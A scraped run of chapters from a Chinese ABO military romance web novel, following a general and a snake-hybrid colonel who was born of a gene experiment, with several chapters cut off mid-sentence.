虽说战斗的地点离驻军地有相当远的距离,但云泆等人在指挥室中还是隐约能听见炮火的声响。 这时,指挥室的通讯屏蓦然亮了起来,通讯员立马汇报:“报告指挥中心,我们收到了帝国指挥中心的通讯申请。” 陆兆兴和云泆对视一眼,都从对方的眼中看到一丝疑惑。 为了避免信息不及时接收造成不必要的损失,哪怕是敌方的通讯请求,联盟也一般都会选择接通。 所以云泆说:“接通通讯。” 下一秒,硕大的屏幕被弹至空中,陆兆兴面前出现了敌方将领科斯特的面孔。< 7. 尾巴 《被联盟战神拯救后》全本免费阅读 这举动从云泆视角看出来是一回事,在其他人看来就是另一回事了。 刚才科斯特大放厥词时一提到“死”字,站在闻牧远身边的军官就明显感觉到四周的温度瞬间下降了一截,让人不住哆嗦了一下。 闻上校的眼神更是透着戾气,直到云泆开始指挥军队,并将对方力量消灭了大半才缓和下来。 然后他就用一种让人牙酸的眼神望向云泆,弄得他身旁的人都一愣一愣的,最后在脑子里滚油般思索了一番,默契地确认了这凶名在外的闻上校是云泆的迷弟无疑。 云泆对上那视线坦然一笑,总感觉这刚标记完的alpha好像很敏感。 指挥室中的工作有条不紊地展开,对军队的安置排布不需要云泆多虑,他没有马上离去而是站到一边,认真地考虑起瞿千岱让他回首都的提议。 就今天科斯特闹的这一出来看,结下来一段时间帝国那边应该不会有大动作了。 不管是谁组织的暗杀,谁泄的秘,看样子帝国那边也不是铁板一块,人心不齐不只是联盟。不然边境军队也不会出现这么荒谬的错误。 科斯特只是小心眼,不是傻子。吃了这个大亏他心里肯定堵着气,在查清楚事情真相之前绝不会再出兵,这也给了云泆喘息的机会。 他已经许久没有回过首都,那边他而言有些遥远,因此他对当前的□□势的掌握也远不如首都中人。正是因为这份陌生,才给了他人可趁之机。 瞿千岱的提议不仅是为了稳固政局,也是为了保护云泆的的安全。 现在云泆还病着,回首都养病这个借口顺理成章,不会引起不必要的怀疑和恐慌,反倒还能静观其变。 思及此,云泆下了决断。 今天他出来的时间已经过长,远超秦羽设下的期限。因此后来的时间里,闻牧远几乎是一直在释放信息素抚慰他的腺体。 尽管他的基础身体素质很强,经历了这些事后还是感觉有些脱力。 临走前他到陆兆星跟前,附耳道:“总统的提议我考虑清楚了,我决定回去。” 陆兆兴支持他的任何决定,这是他最看好的后辈,也是联盟的希望。于是他拍了拍云泆的肩,说:“回去吧,这里有我。” 云泆往门外走,闻牧远和来时一样紧跟在他身后,寸步不离。 回程的车上,云泆闭眼假寐,忽然感觉身上一重,他眯眼看,原来是闻牧远拿了一块毯子披到他身上。 云泆哑着嗓子开口道:“闻上校,我问你个事。” 闻牧远马上答:“您说。” 他一副任人挫扁揉圆的样子很容易让人生坏心思,云泆饶有兴致地问:“你的蛇尾巴在什么情况下会出来?” 闻牧怔了一瞬,随后道:“主动控制的话什么时候都可以,情绪很激动的时候也会不小心露出来。” “您是不喜欢吗,我下次会注意的。”高大的男人坐在后座上,原本宽阔的空间都显得逼仄起来,他垂下眼,看不出情绪。 云泆失笑,说:“我什么时候说过不喜欢,就是喜欢所以才想问你。” 他一说到喜欢,闻牧远的头就抬了起来,眼睛都亮了几分,刚才的颓然一扫而空。 “我记得你小时候的尾巴很黑很细,当时你收不回去还急得哭了出来。”云泆靠在车座上回忆着,“之前我从昏迷中醒过来,看到床头的黑蛇就觉得很熟悉,后来他们告诉我是你,我还觉得不可置信。” “当年的小蛇竟然长这么大了,这些年你一直在南境,我们好像没见过几面。”云泆说着没忍住摸了摸闻牧远的头,他的头发短,有些扎手,此时旁边的耳朵更是红得滴血。 “我……您,”闻牧不知如何开口,“我还以为您已经不记得我了。”他的眼神闪躲,不敢直视云泆带着笑意的眼睛。 他们其实有很多见面的机会。云泆每年都会到南境来视察或是交流,但大多数时候闻牧远都在外出任务。 那些任务危险又保密,他消失个十天半个月在军队里是再正常不过的事。 每次当他回到军营,可能只有空远远看那个人一眼,或者干脆见不到。 闻牧远不后悔,从他想站在云泆身边那天起,就注定了要舍弃一些东西。上天似乎也垂怜他,兜兜转转,竟然让他的信息素成了云泆的治病良药。 但如果可以选择的话,他宁愿永远默默,也不愿见到重伤的,躺在病床上悄无声息的云泆。 那是他此生所经历的,最大的噩梦。 “怎么会呢小蛇,我怎么会忘了你。”云泆叹了一口气,收回手,生怕逗得太过。 他有些想念当时那条骇人黑蛇,它体态优雅,每一处都是完美的,每一寸都富有勃发的力量感。 至于尾尖,嗯,很可爱。 云泆还在心里想着,突然就察觉到有什么凉凉的东西蹭了蹭他的手背。 他低头看去,那竟然是黑蛇的尾尖。 云泆抬眼,只见闻牧远侧过身不看他,只是那截从他身后延伸而出的尾巴仍在兴奋地颤动,绕着云泆的手打转,像是有自己的情绪。 闻上校真是百依百顺,云泆暗叹,手却怎么也忍不住地逗玩眼前的小家伙。 他先是摸了摸,蛇鳞是丝滑的冰凉,没有滑腻的感觉,手感特别好。摸着摸着云泆一时没忍住又捏了一下,这一捏不仅是尾巴愣了,闻牧远本人也微不可察地呆滞了一下。 云泆还以为是自己不小心捏痛了他,连忙低下头吹了两口气,谁知下一秒那尾巴就“嗖”地一下消失在了他面前。 随之而来的是尾巴主人通红的脸和有些不稳的声音,他说:“快到了,被别人看见了不好。” 云泆深以为意,就是心中还有点不满足,闻牧远的尾巴实在有趣,明明现在长大了这么多,还是像小时候一样一碰就跑。 下车的时候云泆忽地想到了什么,他说:“闻上校,我们打个商量吧,私底下你就叫我的全名怎么样,你总说敬称我还怪别扭的。” 闻牧远闻言没有像往常一样马上回答,良久才低低地开口:“云泆。” “是这样吗。” 别人叫他的名字云泆都觉得没什么,唯独闻牧远这么叫他的时候,他居然觉得心里发麻。这真是个怪事 8. 洋房 《被联盟战神拯救后》全本免费阅读 飞行器轰鸣着划破云层,从阔远的边境来到繁华的都城。 云泆下飞行器的时候迎面就是一群记者的长枪短炮。他走下来,接过了安排中要递给他的花,保持着亲和得宜的微笑,自然地面对来自不同媒体的记者的镜头。 闻牧远走在他身后,应付媒体还远没有云泆这么自如,表情不免有些僵硬。 他们二人走进接机的区域,联盟政府的部分官员都站在那,等着云泆的到来。 瞿千岱也在其中,云泆和他视线相交了一瞬,随后他们二人握手问好,礼数周全而不过分亲密。 总统亲自为云上将接机,媒体们已经捕捉到了足够的镜头,也想好了新闻的噱头,等到那些新闻中心的人物都进到了看不见的地方,他们也就散去了。 云泆回首都的理由是养伤,所以政府没有给他安排什么多余的任务,连新闻发布会都没有。 瞿千岱和云泆只是短暂打了一个照面就分开了,今天显然不是适合谈事的时机,而且云泆刚刚回来,还有许多事情需要安置。 和那些官员们互相寒暄了一番后,云泆就领着身边的人上了专属的车辆。 许久不回首都,这里的一切都令他感到陌生。 在刚才短暂的交谈中,云泆看到了好几张不太熟悉的面孔,关于他们的立场云泆不敢断言,仅凭在边境收到的消息,他无法做到对都城的一切了如指掌。 云泆想,还是需要抽空和瞿千岱私底下见上一面好好谈谈。 闻牧远上车后一直很安静,车子驶出了一段距离他才问道:“我们接下来住哪里。” 云泆听见他的话,从沉思中抽了出来,说:“回我在中心城的那套房子。” “不回云家吗?” 云泆默不作声,良久才说:“需要打个招呼,但暂时不回去住了。” 云家,这是一个在全联盟都很有分量的名字。 联盟首都分为内外环,内环被称为中心城,而外环则是城郊。 中心城在过去的几百年里都是整个联盟的焦点,在这样非凡的地方,随着时间的推移,总会诞生几个世代扎根且实力深厚的大家族。 现在中心城主要的大家族简称为四姓,分别是云、兰、席、顾四家。 云泆出生于云家,还是现在云家主支的独子,身份不可谓是不尊贵。 他本可以什么都不做,只要动动手指头就能享尽一生荣华富贵。但他却做了不同的选择,在年纪尚轻的时候,就悖逆云家为他制定的道路,甚至逐渐走到了家族的对立面。 所以双方的关系在这些年里一直僵持不下。 以至于云泆每次回到首都都不会主动去云家,只有在他omega父亲的强烈邀请下才会登门吃上一顿饭。 云泆的omega父亲顾逸青是一个温和的人,在这方面,云泆很好地继承了他的基因。 顾逸青年轻的时候也算首都名人,不仅出身于地位同样显赫的顾家,而且才貌双全。在嫁给云瑞玉前他一直帮兄长照管着家业,哪怕是结婚后也没有放下自己的事业。他是个有主见有魄力的人,云泆和他的父亲都很尊重他。 但奈何这父子俩的性子一个比一个倔。这么多年过去,只有顾逸青还乐此不疲地在这段关系里修修补补。 云家那边对他回来的消息肯定再清楚不过,云泆知道顾逸青早晚会来他这软磨硬泡叫他回去,所以很干脆的在落脚点选项中里把云家划去了。 闻牧远问完这两句后就没有再多说什么,只是放出了更多的信息素,前排的司机和助手都已经喷了阻隔剂,目前这种浓度的信息素对他们而言影响不大。 云泆觉得舒服,现在距离终点也还有一段路程,他闭上眼开始小憩。 一旁的闻牧远看着云泆眼下两片浅浅的青黑,知道他一定是夜里没睡好,想了太多首都的事。 闻牧远可以很清楚地记下云泆每时每刻的模样,所以那些细微的变化落在他眼里就无比明显。 这种静谧平和的时刻总是过得很快,将要到达目的地的时候闻牧远叫醒了云泆。 云泆口中的“房子”并不是简单的套房,而是一个自带花园的小洋房,坐落在中心城西面相对外围的区域。 这房子是顾逸青送给他的16岁生日礼物,房产登记的时候填了他的名字,是完全独属于他个人的财产。这里环境清幽无人打搅,安保措施也很完备,确实也是个养病的好地方。 前几年战事繁忙,云泆就算回来也会住在政府安排的房子里,好久没回过这了。 车子开到铁门外就缓缓停了下来,云泆拉开车门看向这幢久违的房子,在迈进去的那一刻突然想到了什么。 他看向身边同他一样流露出怀念之色的闻牧远,后知后觉道:“我还记得,当时你和秦羽他们刚来首都的时候,一直住在这。” 闻牧远神色怔愣,低低应道:“是的,住了将近半年。” 云泆看着他像是想起了什么往事,一边往里走一边笑着说:“那真是很有趣的半年。” 闻牧远默契地在回忆上和他达成了同频,十几年前的糗事虽没有被摆到明面上,但仍让他有些局促。他于是不再多言,只是转去后备箱将二人的行李都搬了下来。 房子很大也很干净,一看就是提前清扫过的。 这幢洋房是十几年前流行的样式,但放在现在看也毫不过时,反倒有些复古的韵味。 房子外面是面积不小的花园,绕了一周。房子里面有三层,一楼是客厅等较为公共的场所,二楼主要是是云泆的卧室和书房,至于三楼,在最初搬进来的时候是无人问津的杂物间,后来这房子里来了很多小家伙,于是三楼就顺理成章地变成了那群孩子活动的地方。 闻牧远站在楼下向上看,那个乐园曾经的模样在他眼前一点点浮现,他很想上去看看。 但他到底不是孩子,小小的冲动很快就被压下,准备先去帮云泆放行李。 他上楼的时候云泆还坐在客厅的沙发上缓刚才没睡醒的劲,闻牧远站子二楼问:“晚上我住在哪间?” 云泆闻言揉了揉太阳穴,说:“和我一间,秦羽说这样治疗效果好。” 闻牧远的心又开始不安分地跳动,之前在北境医院里他也和云泆一间房,不过那时他有自己的临时床铺。如今又要和云泆共处一室,他要打地铺么。 闻牧远这么想着,也就这么问了出来。 云泆见他这认真的模样困意消散了不少,也从沙发上起身准备去二楼,走到闻牧远身边时才说:“让堂堂闻上 9. 阁楼 《被联盟战神拯救后》全本免费阅读 云泆陷在安心的气味里睡得昏沉,心下是难得的放松。 不知过去了多久,卧室的门被推开,微黄的灯光顺着那道逐渐变大的缝隙投射进来,越拉越长,落在了床脚旁。 云泆眯着眼,不远处的人影在光影里一步步向他走近。 闻牧远弯下腰帮他拾起了被放在一旁的外套,挂到了门口的衣帽架上。 云泆已经醒了,身上的衬衫因为刚才的枕靠而生出了一些褶皱。 他坐起身,恍惚间闻到了饭的香味,他的嗓子因为刚睡醒有点哑:“晚饭已经做好了?” 闻牧远“嗯”了一声,给他端了一杯水过来。 云泆抿了抿干涩的嘴唇,接过水后喝了几口润了下嗓子,撑着床站起身向外走,想去看看闻牧远的晚饭做的怎么样。 餐厅位于一楼的中央,从二楼的扶梯上望下去一览无遗。云泆远远就发觉那张桌子上放着三四个盘子,颜色花花绿绿的。 肚子在这时很合时宜地发出了声响,弥漫在房子里的食物香气变得更加诱人。 走到桌前看清了桌上到底是什么,云泆倍感意外,除了他点的牛肉炒饭,闻牧远还多做了一些,都是适合病人吃的伙食,清淡养生。营养汤、炒菜和清蒸俱全。 这些食材应该都是外边的人根据需求送来的,一看就很新鲜,淡淡的油光在吊灯的映照下看起来格外诱人,引得人食指大动。 云泆的困意瞬间消失,他拉开椅子坐下,眼里透着惊喜:“你也太厉害了,这都是你做的啊。” 闻牧远从厨房里拿了碗筷走出来,云泆的夸奖令他有些激动,他脚步加快,把云泆的餐具递了过去,说:“我比较挑嘴,有时候会开小灶,厨艺大概是这么候练出来的。” 听他这么说云泆就更意外了,没想到看起来严肃守纪的闻牧远也会开小灶,他点点头:“真厉害,那快吃吧,你也忙了半天了。” 前段时间因为一直待在医院,云泆每日的食谱在秦羽的监督下清汤寡水的可怕,现在眼前摆着这么一桌盛宴,任谁也拒绝不了。 二人开始动筷,虽然都饿了,但也没有狼吞虎咽,云泆自小接受的是贵族教育,时刻保持礼仪已成为他长久以来的习惯。而闻牧远,他的心思压根没放在晚饭上。 闻牧远用余光悄悄瞄着云泆,看他吃饭时眼里的光亮,心头就莫名涌起了一股名为幸福的感受。 能这样静静地陪在他身边,为他做上一餐饭,好像是很久以前某一场梦中的场景。闻牧远垂下眸子,所以云泆没看见那双眼睛里的情绪。 他们吃得不快,但最后消灭得很干净。云泆了除山药和胡萝卜都下了筷,见他不吃,闻牧远在心里暗暗记下了这两种蔬菜。 把用过的盘子放进洗碗机后晚饭也就结束了,刚回首都云泆还有些事要处理,起身去了书房。 见云泆不在外面,闻牧远之前压下的想法又冒出头来。 他脚步轻盈地上了三楼,那里的灯开关都装在楼梯转角。打开灯,就像歌舞剧拉开帷幕一样,三楼的摆设也亮堂堂地出现在闻牧远面前。 久未有人探访的阁楼空气中弥漫着灰尘的味道,但里面摆放的那些桌子却被人细心地套上了保护套。 闻牧远放轻了呼吸,他走近,动作小心地掀开了保护套。这下面是一张很大的木桌子,桌子下面还塞着几个小凳子,这里的主人将它们保存得很好,哪怕过去这么多年,他们仍和闻牧远记忆中的一摸一样的。 闻牧远放下保护套,走到屋子的边缘,那里立着一个书架。当年书架是和桌子一起送过来的,因为怕小孩子打闹的时候会受伤,原本装外面防尘的玻璃柜门在云泆的要求下换成了木头的。 小时候总觉得这个书架很高大,当时站在书架前似乎只能勉强够到第三层,而现在高大的alpha站在同样的位置,却可以轻而易举地看见最高层。 闻牧远打开没有上锁的门,每层里面都放着许多花花绿绿的书,这都是些联盟幼儿园和小学会用的书本,每一个接受过初等教育的孩童都看过,当时还是云泆四处搜集来的。 目光在这些书本上逐一扫过,最后落在一本熟悉的绘本上,那绘本看起来有点年头了,连书脊上都有破损,闻牧远把他拿起来轻轻地翻看。 那书里有一页上原本有人用简笔画画了一只鸟,后来又被涂黑了,旁边猛然多出一条黑蛇。看起来很像小孩子和玩伴的斗气之作。 闻牧远看着那稚嫩的涂鸦,思绪穿梭回到了多年前,那时他还不称呼云泆为“将军”或是“您”,那时连形态都管不住的他每天跟在云泆身后叫着“云老师”,像个怎么都甩不掉的小尾巴,粘人得很。 思绪回笼,闻牧远把一切都放归原位,他熄了灯走下楼,路过书房时发现门没关,云泆正坐在书桌前看北境传来的文件。 晚上的光线比不上白天,他又不喜欢太过明亮的灯,因为觉得晃眼。现在不知从哪找了一幅电子眼镜,专门用来看文件。 眼镜黑色的的发出器被他别在耳后,虚拟的投影构成镜片供云泆使用,看起来和无框眼镜没什么分别。 闻牧远觉得云泆怎么看都很好看。他笑的时候温柔,指挥战斗的时候严肃凌厉,犯困时也会像其他人一样懵然,而现在戴上眼镜看文件的样子又不经意间显出几分清冷。 许是察觉外面有人在看着他,云泆侧头,他的面容被笼罩在柔和的黄光中,眼神在闻牧远身上落了一瞬后又移了回来。 他翻阅着文件说:“我可能还要一会,你要是困的话就先睡吧。” 闻牧远说好,然后就走开了。 过了一会他又回了书房,给云泆拿来一碟水果。松柏在暗中慢慢靠近,随后整个包裹住了云泆的腺体。 闻牧远把盘子放到桌面上,释放出充足的信息素后问:“这里有可以训练的地方吗。” 军用训练室在一个军官家里很常见,这是联盟军方允许且鼓励的。不过这房子以前是单纯用来居住的,所以在闻牧远的记忆里是没有 10. 过往 《被联盟战神拯救后》全本免费阅读 雨林中常年潮湿粘腻,下过雨后的空气更甚,像被混入了增稠剂一样厚重。 云泆带着队做任务,小队成员大多是刚被提拔上来的新兵,志气有余经验却不足。 这本是一次简单的任务,这片雨林位于联盟和帝国接壤的区域,但在帝国境内靠近雨林的地区是一片面积较大的沼泽,所以没什么人居住,也不是战略要地。 云泆之前出过无数次这样的探查任务,无一例外都是顺利完成,也没遇到什么危险。 可今天的雨林却十分怪异,蛙类鸟类的叫声不见了,林间也没有动物活动的影迹,世界就像是被按下了静音键,处处透着诡异。 云泆让其他队员停在安全处不要再深入,这一片的地形他很熟悉,队员留在这里不会出什么意外。 吩咐完后他多拿了几个弹匣,孤身一人往深处秘密潜去。 拥有高等信息素的人对周围环境的探查也会更敏锐,他隐隐意识到有一个方向的气味不对,那是一片连他都没有进入过的地域。保险起见,云泆在通讯器上预设了对军营的紧急呼救。 随着不断地深入,脚下的泥土由黄色彻底转为黑色,被雨水浸润的土壤越发泥泞黏湿。云泆尽量轻地落脚,以免沿途留下太多痕迹。 忽的,他听见远处传来枪声与脚步声。 那脚步声零零碎碎,有轻有重,明显是有人在追什么东西。云泆飞快找到了一个较为茂密的树丛趴下,他伏在地上,透过树叶的缝隙观察着外面的状况。 没过一会,那急促的的脚步就逼近了他的方向,直到被追赶的“东西”跑近,云泆才看清那原来是一群孩子。 不,那不是一群普通孩子,他们长得很奇异,大多半人半兽,且竟然都是已经完全分化的alpha。 为首的那个男孩是里面最高的人,他的身后拖着一条蛇尾,手里牵着一个气喘吁吁的小孩,看不出性别,但是那孩子脸上却有着奇怪的凸起和黑红花纹。 不仅如此,他身后的人里还有长着翅膀的,浑身覆满动物皮毛的。 这简直匪夷所思。 云泆从没见过这样的场景,这六个孩子一看就是跑了很远的路才到这里,他们的脚步已经逐渐变慢,除了那个领头的男孩,其他人明显都支撑不下去了。 眼看着他们身后追击的枪声和呼号越来越近,云泆当机立断从树丛后起身,一把抱住了最弱小的两个孩子,他扭头对那个黑蛇alpha说:“信我就和我走,跑不动的人就放到我背上来。” 这群孩童被这个突然出现的人吓了一跳,那个男孩率先回过神来,他没有说话,眼下这种情况他根本没时间犹豫,于是他动作利索地把摔倒在地那个孩子放到了云泆背上,然后快速搀好身边的同伴。 云泆见他这么果断马上拨通了军营的通讯,随后带着他们脚下不停地向刚才分开的地点跑去。 后面追赶的人似乎察觉到了什么不对,速度更快了,他们毫不吝啬子弹地发动射击,却不知是什么原因凑巧都被逃亡的人避开了。 彼时云泆已是中校,他参军多年身体强悍,带着三个孩子快速穿梭丛林也不会吃力,但那个alpha再冷静也只是个孩子,他的同伴脚步逐渐涣散,开始变得力不从心,他的速度也被拖缓了。 眼看着后面的人就要追上,云泆什么都顾不得了,他夹着孩子抬手快速解开了脖子上的颈环。失去了桎梏,那高强度的信息素铺天盖地地向后涌去,后面的人脚步一个趔趄,被压得直接跪了下去。 他们嘴里骂骂咧咧:“娘的!s级omega,这tm哪里冒出来的?!” “追不上那群小崽子就等死吧!”又有人喊道。 云泆释放了大量的信息素,那群人一时之间根本缓不上劲。 被信息素压制那感觉就像被人掐住了脖子一样窒息,眼前昏花,连东西都看不清。 那群人都无一例外地蒙着脸,其中有一个壮汉不死心地抬起头,拿起身边的枪瞄准追击对象。 他远远看着那个男孩晃晃悠悠的背影,嘴角咧出一抹阴冷的笑,他看不清楚,但他心里有感觉,这一次,那个男孩死定了。 “砰——”那把枪的扳机被扣下,那一瞬间太短,像是冥冥中的感应,云泆下意识地侧身挡住了男孩的后背。 “嗯——” 一声闷哼响起,本该射入男孩心脏的子弹嵌入了云泆的肩膀,他的肩上瞬间血流如注,绿色的战斗服转眼间就成了深红。 “你!你没事吧?”男孩第一次开口,语气惊慌。他看着云泆的伤口眼眶红成一片,身后的蛇尾都在不住颤抖。 云泆搂住怀中快要掉下的孩子,脸上竟不合时宜地笑了出来,他说:“没事。”然后用下巴示意着前方丛林里逐渐变多的光亮。 他说:“别怕,救援来了。” 联盟军营的救援来得很及时,也许是知道情况特殊,随行还跟来了好几个军医。 云泆肩上地伤口很快被包扎好,那群孩子也得到了安置。 众人看向他们的眼神都充满了探究,而这群孩子的突然出现也像一道惊雷,撕破了一些不为人知的黑暗。 原本追杀他们的人在开过那一枪后就没有继续上前,等救援来到后更是不见了踪影。 没有找到人,能作关键证人的也只有目击者云泆和那些追杀的亲历者了。 只是那些孩子的年纪都太小,这一场逃亡让他们又惊又怕,好几个一到安全的地方就昏厥了。哪怕还清醒着也浑身打哆嗦,虽然他们和普通人类不一样,但面对着这么小的孩子,军官也不忍心问什么话。 只有那个跟着云泆跑了一路的男孩从医务人员的包围中站了起来,他的腿上受了伤,慢慢地走到云泆身边,磕磕绊绊地开口:“我、我可以、作证人。” 云泆看着这个满脸伤痕,浑身是血的男孩神色复杂。在那样危险的情况下,他几乎是一个人带着五个拖油瓶,要不是遇上云泆,他们早就没命了。 可哪怕是这样,他也没有想过要放弃同伴。 跑回来的路是这样艰难,他竟也搀着另外两个孩子紧跟在云泆身后。 11. 老师 《被联盟战神拯救后》全本免费阅读 联盟有为这些孩子请专业的老师,但他们好像都不太领情。 最后云泆无法,只好亲自上阵,他托人从首都的幼儿园和小学里带了些课本和读物出来,又把房子的阁楼改造成了儿童的活动室,每一个家具设施都用了心思,至此也算是把这群孩子安顿了下来。 那段时间里,出入这幢洋房的就只有烧饭的阿姨和负责监测小孩子身体健康的医生。 云泆从小成绩就好,甚至可以说是一骑绝尘。他十六岁就考入了首都医科大学攻读生物医学,师从当世最有名的生物医学专家。要不是他后来弃医从武,现在高低也是个颇具资历的研究员。 教小孩子专业知识很简单,但让他们理解人类社会的规则却没有那么容易。 “造神计划”使他们的身体基因与动物融合,也正是因此,他们的思维也受到了一定的影响。他们知道人类社会的基础知识,譬如人类的语言,但他们不知道一些抽象的概念,譬如道德、尊严,而这才是云泆真正需要教会他们的。 这六个孩子的结合体是完全不一样的动物。 黑蛇、火蜥蜴、角雕、猎豹、狮子和牛鲨,他们的习性完全不同。 从实验室的残骸军方查询到他们在以前有自己的编号,编号越靠前代表参与实验的时间越早。但如今这些编号失去了意义,他们已经进入了人类社会,云泆想让他们拥有自己的名字。 弱小的孩子没有反抗命运的能力,所以他们沦为被人宰割的对象。 但如果可以补救,云泆希望在这类似“新生”的机会中,他们可以做出属于自己的第一个选择。 他们中最大的十岁,最小的六岁。识字的人可以翻字典,不识字的人可以抓周,云泆写了尽可能多的纸条,这种古老的方式运用起来倒是别有趣味。 角雕排行老二,一翻书就果断给自己取了个名,叫谢一淮;火蜥蜴年纪小,茫然四顾抓完周获得了自己的新称呼,秦羽。 一个个孩子都有了姓名,唯独那个最大的黑蛇alpha没有动静。 眼看着同伴都结束了挑选,他拿着一本字典走到云泆面前,踮起脚把书塞进云泆怀里。 云泆有些困惑,低头问他:“怎么了,是没找到喜欢的吗?” 男孩仰起头,他的眼睛很大很漂亮,惴惴不安地开口:“可以、你给我、取。” 云泆讶然,他没想到这个孩子会把选择权交环到自己手上。但这既然是他主动的要求,云泆也不会推脱。 他垂眸思索了一会,然后伸手摸了摸男孩的头,微笑着说:“那我给你取个名字吧,就叫牧远怎么样。” “姓氏你可以自己挑一个,我起这个名字是希望你以后可以去更高远的天地,旷达无忧。” 他说着,在男孩掌心轻轻写下了这两个字的笔画,男孩珍惜地合拢了掌心,他很喜欢这个名字。 他从云泆手里接回字典,随便翻开了一页,恰巧这一页的第一个字是“闻”这个姓氏。 他指了指这个字,对着云泆说:“闻牧远。” “我的、名字。” 这些孩子还处于幼年期,哪怕基因上的融合已经完全结束,腺体也已分化,但自制力仍是不足,无法自如地控制身体形态的变化。 平时他们或许可以勉强维持半人半兽的状态,但只要情绪一激动,身体的其他部位就会飞快兽化。 云泆只能试着教他们控制自己的情绪,但小孩子想要搞懂一件事情总需要很长一段时间。 白天他们在三楼上课,那里有一张很大的木桌子,六个小孩和一个大人趴在上面也不会拥挤。 云泆的左边是闻牧远,他颊侧浮着漆黑的蛇鳞,修长的尾巴安静地伏在身后,右侧是谢一淮,那两只硕大的翅膀根本收不回去,只能落在外面,每隔几分钟就飘下一根羽毛来。 其他人也是如此,身体的特征大多外露,云泆放眼看去就像是到了动物园,颇有些哭笑不得。 虽然身体无法控制,但这些孩子很聪明,智商远比同龄人高,云泆不过稍稍讲解,那些课本上的内容他们就基本理解了。 学习了一段时间,闻牧远说话也不再口吃。 他的话不多,总喜欢在各个场合抢占离云泆最近的位置,不论是上课还是吃饭都很积极。他 看起来冷漠不好说话,却又会在同伴看不懂课本上的内容时默默教他们,莫名有种反差感。 云泆看着这条又冷又热的小黑蛇觉得有趣得紧,忍不住想要摸摸他的尾巴,结果他一摸完,闻牧远就“噌”地站了起来。 他捂着屁股,脸上红成一片,旁边的秦羽被吓了一跳,懵懵地问:“怎、怎么了?” 云泆笑着道歉,他没想到闻牧远会这么介意,于是不好意思地说:“抱歉,不知道你不喜欢,我下次不碰了。” 闻牧远闻言扭过头,他看起来十分不好意思,末了又主动伸出尾巴蹭了蹭云泆的衣摆,说:“可以摸,没关系。” 身边的尾尖轻轻颤动,云泆拨弄了一下,那截尾巴就抖得更厉害了。 “小蛇,你真可爱。”他忍不住夸赞。 闻牧远很喜欢云泆对他这个称呼,他没有忽视旁人那些异样的眼光。 那些人盯着他们身上不同寻常的部位,神色奇异。闻牧远不害怕逃亡压迫或追杀,但他害怕云泆也会用这样的眼神看他。 刚到洋房的那段时间他总是不愿把尾巴露出来,有时候哪怕穿衣服硌得慌,他也要把自己身体的这一部分藏起来。 云泆意识到他的不对劲后把他叫到自己身边,关切的问:“为什么不想把尾巴露出来,是有人说了什么吗。” 闻牧远没有说话,他低着头,浑身上下都透着局促的意味。 云泆在他头顶叹了一口气,问:“是不想让我看见吗?”他的直觉总是很敏锐。 闻牧远闻言一僵,最后微不可察地点了点头。 云泆了然但无奈,他蹲下身和闻牧远平视:“傻小蛇,怎么想这些乱七八糟的。” “我刚见到你们的时候就看到了所有,我以为当时我的选择足以证明我不会对你们有偏见。” 他的话音落下,闻牧远飞快伸手揪住了他的衣角说:“对不起。” 他说得不响,但云泆听得很清楚。 12. 提议 《被联盟战神拯救后》全本免费阅读 几天的时间就这么安然流淌而过,云泆和闻牧远在一个屋檐下生活得十分融洽。 顾逸青的邀约在下周一,云泆还有不少时间可以修整。 他今天和瞿千岱定好了见面,就在二人以前常去的咖啡馆。 那家咖啡馆隐匿在中心城东侧的深巷中,鲜有人知,老板是退伍的士兵,以前一直在云泆的直辖的军队里服役,和云泆关系亲厚。因此他们总将见面地点约在这儿。 云泆到时已是傍晚,昨夜首都下了一场小雨,他踩过反光的小水洼向前走去,经过几个转角就到了那家店门前。 咖啡馆在小巷中散着幽幽的光,店门的装饰很简单,是极为朴素的米白,小小的一扇木门立在那,很不起眼。 但推门走进去,里面又是另一番天地。 每一个角落都被精致地装饰着,花草盆栽,桌椅摆设无一不和谐。咖啡厅不大,外面只有几个座位,平时会来这的人也不多,今天更是空无一人。 云泆进门和老板打了个招呼,老板用眼神示意他另一个人已经在里面了。 他走进里面的小包厢,瞿千岱正坐在那看文件,一身正装一丝不苟,那行头就像刚从采访现场回来。 桌上放着两杯咖啡,拉花优雅漂亮,氤氲的热气上升,倒使氛围像是友人间稀疏平常的见面。 瞿千岱见他来了,收起文件挪放到一边,他抬眼看着云泆问:“最近怎么样?” 云泆坐下,端起咖啡抿了一口,答道:“身体没什么问题,有闻上校在。至于其他,或许应该问你。” 瞿千岱轻轻蹙眉,他说:“调查结果和之前一样,查到一半线索就断了。” “不过目前可以确定的是——那枚从你腺体里取出的鳞片确实和‘造神计划’有关。” 云泆闻言并不意外,当时他和秦羽的猜测果然没错。那晚出手袭击他的人的应该就是像闻牧远他们一样的存在。 匆匆一瞥看到的那双眼睛仍刻在记忆里,这样的实验品有什么威力云泆心里很清楚,因此回想起来他更是暗暗心惊。 那个在联盟认知中早就被剿灭的计划至今还在不为人知的地方悄悄进行,甚至搭上了不同国家的线,不知道有多少极具杀伤力的实验品被制造出,也不知道有多少无辜的孩子惨遭毒手。 云泆的心往下沉了几分,他问瞿千岱:“你们有查到相关的消息吗,在帝国的线人有什么发现?” 瞿千岱静默着摇了摇头,说:“之所以能确定是因为我们对那枚鳞片的基因排列做了深入鉴定,结果显示这和当年闻上校他们的检测结果相一致,至于其他的,就没有什么消息了。” 云泆知道瞿千岱和他手下的人一定尽力了,背后的人隐藏的太好,以至于要不是这次暗杀,旁人可能至今都毫无知觉。 继续追问下去没有意义,他们能见面的时间有限,瞿千岱主动和云泆说起了当前首都的局势。谁是可信之人,谁又是摇摆不定的墙头草,从上位者的角度俯瞰而下,总是要比别人雾里看花来得明白。 他们坐在那说了将近一小时,差不多交代完了接下来的布置,至于对凶手的追查,目前没有什么主动出击的方式,他们也只能静观其变。 外头的天色彻底暗了下来,屋里的见面也进行到尾声。 封闭的环境有些气闷,瞿千岱抬手松了松领带,他似是想到了什么,斟酌着语气开口道:“还有一件事,我想问问你的意见。” 云泆纳闷什么是让他突然这么变扭,说:“你直说吧。” 瞿千岱开口:“从媒体反馈上来的报告可以看出,联盟的公民对你的各种状况都很关心。” “这不是什么坏事吧。”云泆笑着应道。 “但是,”瞿千岱话锋一转“大家对你的婚姻状况也很关心。” “联盟里omega的平均婚龄是26岁,虽然你的情况特殊,但你一直未婚的状态确实很引人关注。民众关心或许是出于热心,但首都的其他人就未必了。” 云泆的神情有点不自在,事实上他也知道瞿千岱说的一切在理。 联盟中的omega一般都会早早定下自己的伴侣,并且他们大多会选择跟信息素同等级的alpha结合。ao的终身标记可以使omega的信息素彻底稳定下来,更方便他们从事各项职业。 